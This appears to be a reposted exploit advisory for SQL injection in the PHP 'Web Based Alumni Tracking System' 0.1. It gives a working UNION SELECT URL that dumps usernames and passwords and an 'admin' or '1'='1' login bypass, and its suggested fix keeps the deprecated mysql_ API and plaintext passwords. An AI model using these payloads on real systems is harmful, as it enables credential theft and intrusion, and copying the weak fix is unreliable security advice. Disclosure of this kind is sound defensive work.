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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title.............. Web Based Alumni Tracking System Multiple Vulnerability
# Google Dork................ N/A
# Date....................... 14/10/2016
# Exploit Author............. lahilote
# Vendor Homepage............ http://www.sourcecodester.com/php/10832/web-based-alumni-tracking-system.html
# Software Link.............. http://www.sourcecodester.com/sites/default/files/download/John%20Mark%20Ulep/web-based_alumni_tracking_system.zip
# Version.................... 0.1
# Tested on.................. xampp
# CVE........................ N/A


The audit_list in /admin/print_employed.php
-------------------------------

----snip----

48 <?php $get_id = $_GET['id'];?>

----snip----

/admin/index.php
----------------

----snip----

$user = $_POST['username'];
$password = $_POST['password'];


$myquery = mysql_query("select * from user where username = '$user' and password = '$password'")or die(mysql_error());

----snip----


Example exploitation
--------------------
http://server/path_to_webapp/admin/print_employed.php?id=-2%27%20union%20select%201,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12%20from%20user--+

http://server/path_to_webapp/admin/index.php
Login with username and password: admin' or '1'='1


How to fix
----------
Simple method's use the php function intval and mysql_real_escape_string.

   Example: /admin/print_employed.php

		48 <?php $get_id = intval($_GET['id']);?>


   Example: /admin/index.php

$user = mysql_real_escape_string($_POST['username']);
$password = mysql_real_escape_string($_POST['password']);


$myquery = mysql_query("select * from user where username = '$user' and password = '$password'")or die(mysql_error());

Credits
-------
This vulnerability was discovered and researched by lahilote

References
----------
http://www.sourcecodester.com/php/10832/web-based-alumni-tracking-system.html
http://php.net/manual/en/function.intval.php
http://php.net/manual/en/function.mysql-real-escape-string.php